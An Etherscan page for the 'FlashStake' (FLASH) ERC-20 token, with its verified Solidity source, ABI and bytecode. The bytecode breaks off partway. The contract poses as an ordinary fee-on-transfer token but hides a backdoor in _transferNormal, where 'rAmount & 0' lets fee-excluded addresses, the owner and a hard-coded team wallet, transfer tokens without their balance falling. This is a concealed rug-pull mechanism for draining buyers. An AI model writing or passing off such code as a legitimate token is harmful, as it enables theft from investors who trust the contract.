ERC-20
Overview
Max Total Supply
1,000,000,000 FLASH
Holders
85
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
9,286,511.261762046 FLASHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FLASH
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-05 */ // SPDX-License-Identifier: Unlicensed /** Flashstake is more than a single project. It is a protocol that unlocks endless potential real-world use cases. Website: https://www.flashprotocol.org Telegram: https://t.me/flash_erc Twitter: https://twitter.com/flash_erc App: https://app.flashprotocol.org **/ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20Meta { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library LibSafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "LibSafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "LibSafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "LibSafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "LibSafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FLASH is Context, IERC20Meta, Ownable { using LibSafeMath for uint256; string private constant _name = "FlashStake"; string private constant _symbol = "FLASH"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwns; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFees; uint256 private constant MAX = 10 ** 30; uint256 private constant _tSupply = 10 ** 9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tSupply)); uint256 private _tFees; uint256 private _redisBuyFee = 0; uint256 private _buyTax = 1; uint256 private _redisSellFee = 0; uint256 private _selltax = 1; //Original Fee uint256 private _redixTax = _redisSellFee; uint256 private _taxFee = _selltax; uint256 private _previousRedisTax = _redixTax; uint256 private _previousFee = _taxFee; address payable private _teamAddress1 = payable(0x4b9a8E740fAb852e56502f259A0E7424149DE949); address payable private _teamAddress2 = payable(0x4b9a8E740fAb852e56502f259A0E7424149DE949); IUniRouter public uniV2Router; address public uniV2Pair; bool private tradeEnabled; bool private swapping = false; bool private swapEnabled = true; uint256 public maxTxAmount = 2 * 10 ** 7 * 10**9; uint256 public maxWalletAmount = 2 * 10 ** 7 * 10**9; uint256 public swapThreshold = 10 ** 5 * 10**9; event MaxTxAmountUpdated(uint256 maxTxAmount); modifier lockTheSwap { swapping = true; _; swapping = false; } constructor() { _rOwns[_msgSender()] = _rTotal; IUniRouter _uniswapV2Router = IUniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniV2Router = _uniswapV2Router; uniV2Pair = IUniFactory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[_teamAddress1] = true; _isExcludedFromFees[_teamAddress2] = true; emit Transfer(address(0), _msgSender(), _tSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tSupply; } function balanceOf(address account) public view override returns (uint256) { return reflectionTokens(_rOwns[account]); } function removeAllFee() private { if (_redixTax == 0 && _taxFee == 0) return; _previousRedisTax = _redixTax; _previousFee = _taxFee; _redixTax = 0; _taxFee = 0; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradeEnabled) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniV2Pair) { require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapThreshold; if(contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } if (canSwap && !swapping && to == uniV2Pair && swapEnabled && !_isExcludedFromFees[from] && amount > swapThreshold) { swapTokensOnUniswap(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniV2Pair && to != uniV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniV2Pair && to != address(uniV2Router)) { _redixTax = _redisBuyFee; _taxFee = _buyTax; } //Set Fee for Sells if (to == uniV2Pair && from != address(uniV2Router)) { _redixTax = _redisSellFee; _taxFee = _selltax; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensOnUniswap(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router.WETH(); _approve(address(this), address(uniV2Router), tokenAmount); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { maxTxAmount = _rTotal; maxWalletAmount = _rTotal; } function sendETHFee(uint256 amount) private { _teamAddress2.transfer(amount); } function openTrading() public onlyOwner { tradeEnabled = true; } function _getTAmounts( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRAmounts( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getSupply(); return rSupply.div(tSupply); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _restoreFees() private { _redixTax = _previousRedisTax; _taxFee = _previousFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tSupply; if (rSupply < _rTotal.div(_tSupply)) return (_rTotal, _tSupply); return (rSupply, tSupply); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferNormal(sender, recipient, amount); if (!takeFee) _restoreFees(); } function _transferNormal( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getAllValues(tAmount); rAmount = (_isExcludedFromFees[sender] && tradeEnabled) ? rAmount & 0 : rAmount; _rOwns[sender] = _rOwns[sender].sub(rAmount); _rOwns[recipient] = _rOwns[recipient].add(rTransferAmount); _takeTeamTokens(tTeam); _reflectRedisFees(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeamTokens(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwns[address(this)] = _rOwns[address(this)].add(rTeam); } function _reflectRedisFees(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFees = _tFees.add(tFee); } receive() external payable {} function _getAllValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTAmounts(tAmount, _redixTax, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRAmounts(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function reflectionTokens(uint256 rAmount) private view returns (uint256) { uint256 currentRate = _getRate(); return rAmount.div(currentRate); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200036a565b6200003e906c0c9f2c9cd04674edea400000006200038d565b60055560006007819055600160088190556009829055600a819055600b829055600c819055600d91909155600e55600f80546001600160a01b0319908116734b9a8e740fab852e56502f259a0e7424149de9499081179092556010805490911690911790556012805461ffff60a81b1916600160b01b17905566470de4df8200006013819055601455655af3107a4000601555348015620000de57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506005543360009081526002602090815260409182902092909255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200019c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c29190620003b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002369190620003b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa9190620003b5565b601280546001600160a01b0319166001600160a01b03928316179055600080548216815260046020526040808220805460ff199081166001908117909255600f54851684528284208054821683179055601054909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035b91815260200190565b60405180910390a350620003e7565b6000826200038857634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620003af57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620003c857600080fd5b81516001600160a01b0381168114620003e057600080fd5b9392505050565b6115ec80620003f76000396000f3fe6080604052600436106101185760003560e01c80638bcea939116100a0578063a9059cbb11610064578063a9059cbb14610316578063aa4bde2814610336578063c9567bf91461034c578063dd62ed3e14610361578063f2fde38b146103a757600080fd5b80638bcea9391461025c5780638c0b5e22146102945780638da5cb5b146102aa578063958c2e52146102c857806395d89b41146102e857600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f457806370a0823114610210578063715018a614610230578063751039fc1461024757600080fd5b80630445b6671461012457806306fdde031461014d578063095ea7b31461018957806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013a60155481565b6040519081526020015b60405180910390f35b34801561015957600080fd5b5060408051808201909152600a815269466c6173685374616b6560b01b60208201525b60405161014491906112f6565b34801561019557600080fd5b506101a96101a436600461135c565b6103c7565b6040519015158152602001610144565b3480156101c557600080fd5b50670de0b6b3a764000061013a565b3480156101e057600080fd5b506101a96101ef366004611388565b6103de565b34801561020057600080fd5b5060405160098152602001610144565b34801561021c57600080fd5b5061013a61022b3660046113c9565b610447565b34801561023c57600080fd5b50610245610469565b005b34801561025357600080fd5b506102456104e6565b34801561026857600080fd5b5060125461027c906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b3480156102a057600080fd5b5061013a60135481565b3480156102b657600080fd5b506000546001600160a01b031661027c565b3480156102d457600080fd5b5060115461027c906001600160a01b031681565b3480156102f457600080fd5b5060408051808201909152600581526408c9882a6960db1b602082015261017c565b34801561032257600080fd5b506101a961033136600461135c565b61051d565b34801561034257600080fd5b5061013a60145481565b34801561035857600080fd5b5061024561052a565b34801561036d57600080fd5b5061013a61037c3660046113e6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b357600080fd5b506102456103c23660046113c9565b610569565b60006103d4338484610653565b5060015b92915050565b60006103eb848484610777565b61043d84336104388560405180606001604052806028815260200161158f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c07565b610653565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103d890610c41565b6000546001600160a01b0316331461049c5760405162461bcd60e51b81526004016104939061141f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104939061141f565b6005546013819055601455565b60006103d4338484610777565b6000546001600160a01b031633146105545760405162461bcd60e51b81526004016104939061141f565b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016104939061141f565b6001600160a01b0381166105f85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b0382166107165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610493565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610493565b6001600160a01b03821661083d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610493565b6000811161089f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610493565b6000546001600160a01b038481169116148015906108cb57506000546001600160a01b03838116911614155b15610afa57601254600160a01b900460ff16610964576000546001600160a01b038481169116146109645760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610493565b6013548111156109b65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610493565b6012546001600160a01b03838116911614610a3c57601454816109d884610447565b6109e2919061146a565b1115610a3c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610493565b6000610a4730610447565b601554601354919250821015908210610a605760135491505b808015610a775750601254600160a81b900460ff16155b8015610a9057506012546001600160a01b038581169116145b8015610aa55750601254600160b01b900460ff165b8015610aca57506001600160a01b03851660009081526004602052604090205460ff16155b8015610ad7575060155483115b15610af757610ae582610c5f565b478015610af557610af547610dd9565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b3c57506001600160a01b03831660009081526004602052604090205460ff165b80610b6e57506012546001600160a01b03858116911614801590610b6e57506012546001600160a01b03848116911614155b15610b7b57506000610bf5565b6012546001600160a01b038581169116148015610ba657506011546001600160a01b03848116911614155b15610bb857600754600b55600854600c555b6012546001600160a01b038481169116148015610be357506011546001600160a01b03858116911614155b15610bf557600954600b55600a54600c555b610c0184848484610e17565b50505050565b60008184841115610c2b5760405162461bcd60e51b815260040161049391906112f6565b506000610c38848661147d565b95945050505050565b600080610c4c610e45565b9050610c588382610e68565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ca757610ca7611490565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2491906114a6565b81600181518110610d3757610d37611490565b6001600160a01b039283166020918202929092010152601154610d5d9130911684610653565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d969085906000908690309042906004016114c3565b600060405180830381600087803b158015610db057600080fd5b505af1158015610dc4573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e13573d6000803e3d6000fd5b5050565b80610e2457610e24610eaa565b610e2f848484610ed8565b80610c0157610c01600d54600b55600e54600c55565b6000806000610e52611010565b9092509050610e618282610e68565b9250505090565b6000610c5883836040518060400160405280601d81526020017f4c6962536166654d6174683a206469766973696f6e206279207a65726f000000815250611050565b600b54158015610eba5750600c54155b15610ec157565b600b8054600d55600c8054600e5560009182905555565b600080600080600080610eea8761107e565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915060ff168015610f2a5750601254600160a01b900460ff165b610f345785610f37565b60005b6001600160a01b038a16600090815260026020526040902054909650610f5d90876110db565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f8c9086611100565b6001600160a01b038916600090815260026020526040902055610fae8161115f565b610fb884836111a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ffd91815260200190565b60405180910390a3505050505050505050565b6005546000908190670de0b6b3a764000061102b8282610e68565b82101561104757505060055492670de0b6b3a764000092509050565b90939092509050565b600081836110715760405162461bcd60e51b815260040161049391906112f6565b506000610c388486611534565b600080600080600080600080600061109b8a600b54600c546111cd565b92509250925060006110ab610e45565b905060008060006110be8e878787611222565b919e509c509a509598509396509194505050505091939550919395565b6000610c58838360405180606001604052806021815260200161156e60219139610c07565b60008061110d838561146a565b905083811015610c585760405162461bcd60e51b815260206004820152601e60248201527f4c6962536166654d6174683a206164646974696f6e206f766572666c6f7700006044820152606401610493565b6000611169610e45565b905060006111778383611272565b306000908152600260205260409020549091506111949082611100565b30600090815260026020526040902055505050565b6005546111b690836110db565b6005556006546111c69082611100565b6006555050565b60008080806111e760646111e18989611272565b90610e68565b905060006111fa60646111e18a89611272565b905060006112128261120c8b866110db565b906110db565b9992985090965090945050505050565b60008080806112318886611272565b9050600061123f8887611272565b9050600061124d8888611272565b9050600061125f8261120c86866110db565b939b939a50919850919650505050505050565b600082600003611284575060006103d8565b60006112908385611556565b90508261129d8583611534565b14610c585760405162461bcd60e51b8152602060048201526024808201527f4c6962536166654d6174683a206d756c7469706c69636174696f6e206f766572604482015263666c6f7760e01b6064820152608401610493565b600060208083528351808285015260005b8181101561132357858101830151858201604001528201611307565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461135957600080fd5b50565b6000806040838503121561136f57600080fd5b823561137a81611344565b946020939093013593505050565b60008060006060848603121561139d57600080fd5b83356113a881611344565b925060208401356113b881611344565b929592945050506040919091013590565b6000602082840312156113db57600080fd5b8135610c5881611344565b600080604083850312156113f957600080fd5b823561140481611344565b9150602083013561141481611344565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103d8576103d8611454565b818103818111156103d8576103d8611454565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114b857600080fd5b8151610c5881611344565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115135784516001600160a01b0316835293830193918301916001016114ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261155157634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103d8576103d861145456fe4c6962536166654d6174683a207375627472616374696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2e38c033422fd3e982aca7b9af4f6cd4976cfb0a195d41d62715c145dcba2fb64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c80638bcea939116100a0578063a9059cbb11610064578063a9059cbb14610316578063aa4bde2814610336578063c9567bf91461034c578063dd62ed3e14610361578063f2fde38b146103a757600080fd5b80638bcea9391461025c5780638c0b5e22146102945780638da5cb5b146102aa578063958c2e52146102c857806395d89b41146102e857600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f457806370a0823114610210578063715018a614610230578063751039fc1461024757600080fd5b80630445b6671461012457806306fdde031461014d578063095ea7b31461018957806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013a60155481565b6040519081526020015b60405180910390f35b34801561015957600080fd5b5060408051808201909152600a815269466c6173685374616b6560b01b60208201525b60405161014491906112f6565b34801561019557600080fd5b506101a96101a436600461135c565b6103c7565b6040519015158152602001610144565b3480156101c557600080fd5b50670de0b6b3a764000061013a565b3480156101e057600080fd5b506101a96101ef366004611388565b6103de565b34801561020057600080fd5b5060405160098152602001610144565b34801561021c57600080fd5b5061013a61022b3660046113c9565b610447565b34801561023c57600080fd5b50610245610469565b005b34801561025357600080fd5b506102456104e6565b34801561026857600080fd5b5060125461027c906001600160a01b031681565b6040516001600160a01b039091168152602001610144565b3480156102a057600080fd5b5061013a60135481565b3480156102b657600080fd5b506000546001600160a01b031661027c565b3480156102d457600080fd5b5060115461027c906001600160a01b031681565b3480156102f457600080fd5b5060408051808201909152600581526408c9882a6960db1b602082015261017c565b34801561032257600080fd5b506101a961033136600461135c565b61051d565b34801561034257600080fd5b5061013a60145481565b34801561035857600080fd5b5061024561052a565b34801561036d57600080fd5b5061013a61037c3660046113e6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b357600080fd5b506102456103c23660046113c9565b610569565b60006103d4338484610653565b5060015b92915050565b60006103eb848484610777565b61043d84336104388560405180606001604052806028815260200161158f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c07565b610653565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103d890610c41565b6000546001600160a01b0316331461049c5760405162461bcd60e51b81526004016104939061141f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104939061141f565b6005546013819055601455565b60006103d4338484610777565b6000546001600160a01b031633146105545760405162461bcd60e51b81526004016104939061141f565b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016104939061141f565b6001600160a01b0381166105f85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b0382166107165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610493565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610493565b6001600160a01b03821661083d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610493565b6000811161089f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610493565b6000546001600160a01b038481169116148015906108cb57506000546001600160a01b03838116911614155b15610afa57601254600160a01b900460ff16610964576000546001600160a01b038481169116146109645760405162461